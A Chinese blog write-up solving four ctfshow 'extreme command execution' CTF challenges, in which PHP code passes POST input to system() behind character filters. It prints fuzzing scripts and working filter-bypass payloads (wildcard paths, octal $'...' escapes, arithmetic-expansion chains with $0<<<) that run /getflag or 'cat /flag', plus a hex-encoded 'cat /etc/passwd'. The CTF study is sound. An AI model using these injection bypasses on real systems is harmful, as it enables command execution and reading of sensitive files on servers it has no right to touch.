ctfshow 每周大挑战 极限命令执行

news2024/9/24 9:18:47

《简单的命令执行题目》
这里感叹一下,g4佬是真好厉害,这次题目十分的难,嗯,对我这种菜鸡来说是这样的,想了一天,最后结束了,也还是没有想明白第五题的解法,我真是fw,到最后也只能解出4道。

目录

基础

题目

极限命令执行1

极限命令执行2

极限命令执行3

极限命令执行4


基础

在讲之前大家可以先了解了解一些基础。

首先关于<<<,这里看下面这篇文章

stackexchange的文章   因为是stackexchange的,所以是要挂vpn的
然后下面这些文章也是可以看一下的
文章

文章1 文章2 文章3

题目

极限命令执行1

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
            system($ctfshow);
        }else{
            echo("????????");
        }
}
?> 

这里首先跑一下正则,因为一些不知名原因,直接显示不出来,所有进行url加密以后去解密了。

<?php
 
for ($a = 0; $a < 256; $a++) {
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",chr($a))){
        echo urlencode(chr($a))." ";
    }
}

这里我们就知道了,有这些是可以使用,这样我们就可以构造了。

因为题目提示环境是centos7,因为centos7的环境是可以直接使用/执行文件的

payload1:ctf_show=/?????a?
payload2:ctf_show=/???/?a??64 /??a?

极限命令执行2

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

里面是先经过,check然后,才进去system中的,那时候没有注意,还以为check是一个php自带函数,查了半天,之后才发现了include "check.php",哈哈哈

这里是一个过滤,我们可以尝试尝试,这里写一个脚本来跑正则。

import requests

#这里填写自己的靶机网址
url = "http://40e404d6-3af3-401c-b11c-9e48298fd1ce.challenge.ctf.show/"

str= ""
for i in range(255):
    data = {'ctf_show':chr(i)}
    retext = requests.post(url,data=data).text
    if "??????" in retext:
        print(1)
    else:
        str += chr(i)

print(str)
这里等1跑完了,可以用的就出来了。

 

这里有这些是可以使用的,然后就是这么一些东西来进行命令执行。

#这个命令大家应该都比较熟悉的吧,这个就是cat /etc/passwd的16进制
$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")

#因为不能有字母和",这里就要进行变形了
$'\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'

但是这里出现一个问题,就是他不能进行命令执行,但是可以执行文件。

这里就是/getflag,我里面写的就是echo 1,但是现在有出现了一个问题就是有字母x,不可以使用的,但是别忘了还是有8进制的。

 

所以将16进制转换8进制就可以了

payload:ctf_show=$'\57\147\145\164\146\154\141\147'

极限命令执行3

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

这里还是老样子,先跑跑正则。

!#$&'()01<\_{}~

这里跑出来是这些东西,看到0和1的瞬间我就想到二进制,一脸兴奋认为这题还是很简单的嘛,然后现实给我狠狠一巴掌。

这里我们可以看到其实最多就可以解析三位多了不行,之后就是在这里卡住了。

这里我卡了很久,然后是一直没有想明白然后再第一天的下午,突然想起来,一个原码和补码的知识,这里可以看ctfshow入门的57题。

这样就可以使用~()$,这四个符号来构造任何数字了,然后就有了第一代脚本。

a = r"\ 5 7 \ 1 4 7 \ 1 4 5 \ 1 6 4 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"

b = a.split(' ')
str = ""
for i in b:
    if i != "\\":
        str += "$((~$((" + "$((~$(())))" * (int(i)+ 1) + "))))"
    else:
        str += "\\\\"

print("$'"+str+"'")

但是这里发现并没有被执行,然后多谢 谢队的提醒,让我在进一步。

首先我们要知道shell中的单引号和双引号都有自己的意思,这点和php、java之类的挺像的,当然不包括python。

这里就不说了,随便找了一篇文章,自己可以看一下 文章

#上面脚本下面改成这样
print("$\\'"+str+"\\'")

这里进了一步,但是接下来就是如何进一步执行的问题了

然后这里可以使用$0<<<来进行重定向来进一步执行,考虑到部分人没有vpn,这里截取一部分,上面发的文章,详细的自己进行查看,然后$0是什么意思可以自行查看上面的文章。

 

 或者可以可以这么理解

command <<< string

command 是 Shell 命令,string 是字符串(它只是一个普通的字符串,并没有什么特别之处)。将字符串通过标准输入,传递给命令

#然后这里再次更改脚本print的,输出的内容
print("$0<<<$\\'"+str+"\\'")

这里可以看到是,执行/getflag的,输出了1。

但是放到其中的时候还是不行,因为我没有注意他是没有getflag的。

一脸兴奋到现实又给了我一巴掌。

然后就是尝试使用命令cat /flag,但是提示没有这个文件,额,没了,然后又是卡了很久。

最后才知道是要第二个重定向是要转义的,哎,不是很明白,单引号要转义就算了,第二次重定向还要转义。

#最终payload
# \ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7 cat /flag
a = r"\ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"
b = a.split(' ')
str = ""
for i in b:
    if i != "\\":
        str += "$((~$((" + "$((~$(())))" * (int(i)+ 1) + "))))"
    else:
        str += "\\\\"
print("$0<<<$0\\<\\<\\<$\\'"+str+"\\'")
payload:ctf_show=$0<<<$0\<\<\<$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

极限命令执行4

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    check($ctfshow);
    system($ctfshow);
}
?> 

老样子使用python跑一下正则。

!#$&'()0<\_{}~

就比上面少一个1,但是我也没有用到1呀,所以用上面payload就可以了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/340819.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Oracle Trace File Analyzer 介绍及简单使用

一、什么是Oracle Trace File Analyzer Oracle Autonomous Health Framework(AHF) 包含 Oracle ORAchk, Oracle EXAchk, and Oracle Trace File Analyzer(TFA). AHF工具包包含了Oracle常用的多种诊断工具&#xff0c;如 ORAchk, Oracle EXAchk, and Oracle Trace File Analyzer…

简单的密码加密

用户的密码必须被加密后再存储到数据库, 否则就存在用户账号安全问题用户使用的原始密码通常称之为"原文"或"明文", 经过算法的运算, 得到的结果通常称之为"密文"在处理密码加密时, 不可以使用任何加密算法, 因为所有加密算法都是可以被逆向运算…

内网渗透(十九)之Windows协议认证和密码抓取-网络认证(基于挑战响应认证的NTLM协议)

系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内网渗透(五)之基础知识-Active Directory活动目录介绍和使用 内网渗透(六)之基…

尚医通(十一)医院模拟系统接口

目录一、第三方医院系统简介及运行二、上传医院接口1、数据分析2、添加service接口3、添加repository接口4、添加controller接口5、添加帮助类6、图片base64说明7、base64码通过http传输问题三、查询医院接口1、添加service方法2、添加controller四、上传科室接口1、添加科室基…

C语言学习笔记(二): 简单的C程序设计

数据的表现形式 常量 在C语言中常量有以下几种&#xff1a; 整型常量&#xff1a; 0,-1,100实型常量&#xff1a; 小数形式(12.12)&#xff1b;指数形式(12.1e312.110312.1\times 10^312.1103)字符常量&#xff1a; 普通字符(’a’,’Z’,’#’)&#xff1b;转义字符(’\n’…

nacos 集群搭建

1、单节点nacos搭建 ------------------------> 跳转单节点搭建 2、nacos 集群 搭建 请注意本次演示在win上进行&#xff0c;在linux 或 k8s&#xff0c;过程类似 2.1 将nacos&#xff0c;copy成三份 2.2 修改nacos配置信息 如下图&#xff0c;需要修改两个配置文件&am…

ansible的部署与命令模块

目录 一、ansible的概述 1、ansible简介 2、ansible特点 3、官方网站 4、ansible的模块组成 5、ansible的工作机制 二、ansible部署 1、ansible的安装 三、ansible的命令行模块 1、command模块 2、shell模块 3、cron模块 4、user模块 5、group模块 6、copy模块 7…

千锋教育+计算机四级网络-计算机网络学习-03

目录 UDP编程准备 字节序概述 如何判断自己主机上的大小端方式 大小端重点 大小端所需函数 htonl函数 ntohl函数 htons函数 ntohs函数 地址转换函数 inet_pton函数 inet_ntop函数 UDP编程准备 字节序概述 字节序概念 是指多字节数据的存储顺序&#xff0c;一个字节是…

浏览器缓存是如何提升网站访问速度的

提升速度&#xff0c;降低负载 浏览器访问一个页面时&#xff0c;会请求加载HTML、CSS和JS等静态资源&#xff0c;并把这些内容渲染到屏幕上。 对浏览器来说&#xff0c;如果页面没有更新&#xff0c;每次都去请求服务器是没有必要的。所以&#xff0c;把下载的资源缓存起来&…

快速傅里叶算法(FFT)快在哪里?

目录 前言 1、DFT算法 2、FFT算法 2.1 分类 2.2 以基2 DIT&#xff08;时间抽取&#xff09; FFT 算法为例 2.2.1 一次分解 2.2.2 多次分解 参考 前言 对信号分析的过程中&#xff0c;为了能换一个角度观察问题&#xff0c;很多时候需要把时域信号波形变换到频域进行分…

有什么免费好用的全球天气api?

简单介绍几个&#xff0c;选你觉得合适的就行。&#xff08;下面推荐的国内外的都有&#xff0c;访问速度会有些差别&#xff09; 高德天气 API -天气查询-API文档-开发指南-Web服务 API | 高德地图API知心天气 API -HyperData 数据产品简介 心知天气和风天气 API -和风天气开…

AI_News周刊:第一期

2023.02.06—2023.02.12 关于ChatGPT的前言&#xff1a; 在去年年末&#xff0c;OpenAI的ChatGPT在技术圈已经火了一次&#xff0c;随着上周它的二次出圈&#xff0c;ChatGPT算得上是人工智能领域的一颗明星&#xff0c;它在聊天机器人领域有着不可忽视的影响力。其准确、快速…

webpack.config.js哪里找?react项目关闭eslint监测

目录 webpack.config.js哪里找&#xff1f; react项目关闭eslint监测 webpack.config.js哪里找&#xff1f; 在React项目中&#xff0c;当我们需要修改一些配置时&#xff0c;发现找不到webpack.config.js&#xff0c;是我们创建的项目有问题吗&#xff0c;还需新创建项目的项…

【html】模仿C站动态发红包界面,css+div+js实现布局和交互(适合入门)

最近有些小伙伴咨询博主说前端布局好难&#xff0c;其实都是熟能生巧&#xff01; 模仿C站动态发红包界面&#xff0c;cssdiv实现布局&#xff0c;纯javascript实现交互效果 目录 1、界面效果 2、界面分析 2.1、整体结构 2.2、标题 2.3、表单 2.4、按钮 3、代码实现 3.…

【Kafka】【七】主题和分区的概念

主题和分区的概念 主题Topic 主题-topic在kafka中是⼀个逻辑的概念&#xff0c;kafka通过topic将消息进⾏分类。不同的topic会被订阅该topic的消费者消费。 但是有⼀个问题&#xff0c;如果说这个topic中的消息⾮常⾮常多&#xff0c;多到需要⼏T来存&#xff0c;因为消息是…

Spring Security in Action 第十二章 OAuth 2是如何工作的?

本专栏将从基础开始&#xff0c;循序渐进&#xff0c;以实战为线索&#xff0c;逐步深入SpringSecurity相关知识相关知识&#xff0c;打造完整的SpringSecurity学习步骤&#xff0c;提升工程化编码能力和思维能力&#xff0c;写出高质量代码。希望大家都能够从中有所收获&#…

实战打靶集锦-005-HL

**写在前面&#xff1a;**记录一次曲折的打靶经历。 目录1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 浏览器访问4.2 目录枚举4.3 探查admin4.4 探查index4.5 探查login5 公共EXP搜索6. 再次目录枚举6.1 探查superadmin.php6.2 查看页面源代码6.3 base64绕过6.4 构建反弹…

JointBERT代码复现详解【下】

BERT for Joint Intent Classification and Slot Filling代码复现【下】 链接直达&#xff1a;JointBERT代码复现详解【上】 四、模型训练与评估 Trainer training&#xff1a;梯度更新evaluate&#xff1a;评估序列标注任务如何得到预测结果、评估函数 1.初始化准备 def …

【Unity3D】Shader常量、变量、结构体、函数

1 源码路径 Unity Shader 常量、变量、结构体、函数一般可以在 Unity Editor 安装目录下面的【Editor\Data\CGIncludes\UnityShader】目录下查看源码&#xff0c;主要源码文件如下&#xff1a; UnityCG.cgincUnityShaderUtilities.cgincUnityShaderVariables.cginc 2 Shader 常…

大数据技术架构(组件)33——Spark:Spark SQL--Join Type

2.2.2、Join Type2.2.2.1、Broadcast Hash Join (Not Shuffled)就是常说的MapJoin,join操作在map端进行的。场景&#xff1a;join的其中一张表要很小&#xff0c;可以放到Driver或者Executor端的内存中。原理:1、将小表的数据广播到所有的Executor端&#xff0c;利用collect算子…